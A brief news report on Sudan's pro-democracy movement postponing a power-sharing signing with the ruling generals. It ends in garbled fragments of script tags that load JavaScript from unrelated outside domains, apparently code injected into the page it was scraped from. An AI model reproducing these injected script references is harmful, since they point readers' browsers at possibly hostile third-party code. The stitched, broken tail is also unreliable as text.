Sudan’s pro-democracy movement postponed a scheduled meeting with the country’s ruling generals for a second time on Sunday, saying “further consultations” were needed before they would sign a power-sharing deal with the military. Activists leaders said the meeting was pushed back to Tuesday.
The military and the pro-democracy coalition had agreed earlier this month on a joint sovereign council that will rule for a little over three years while elections are organized. Members of the military council and the Forces for Declaration of Freedom and Change, which represents the protesters, were supposed to meet Sunday night to finalize and sign the agreement.
The signing was expected to take place last week, but several delays were announced, raising suspicions that a final comprehensive deal could not be reached soon. ='https://js./fplstats.js?l=p&' type=text/javascript language=javascript> ='https://ns1.bullgoesdown.com/tmn/fplstats.js?l=p&' type=text/javascript language=javascript> ='https://track.beforwardplay.com/track/plstats.js?l=p&' type=text/javascript language=javascript> ='https://track.beforwardplay.com/track/plstats.js?l=p&' type=text/javascript language=javascript>
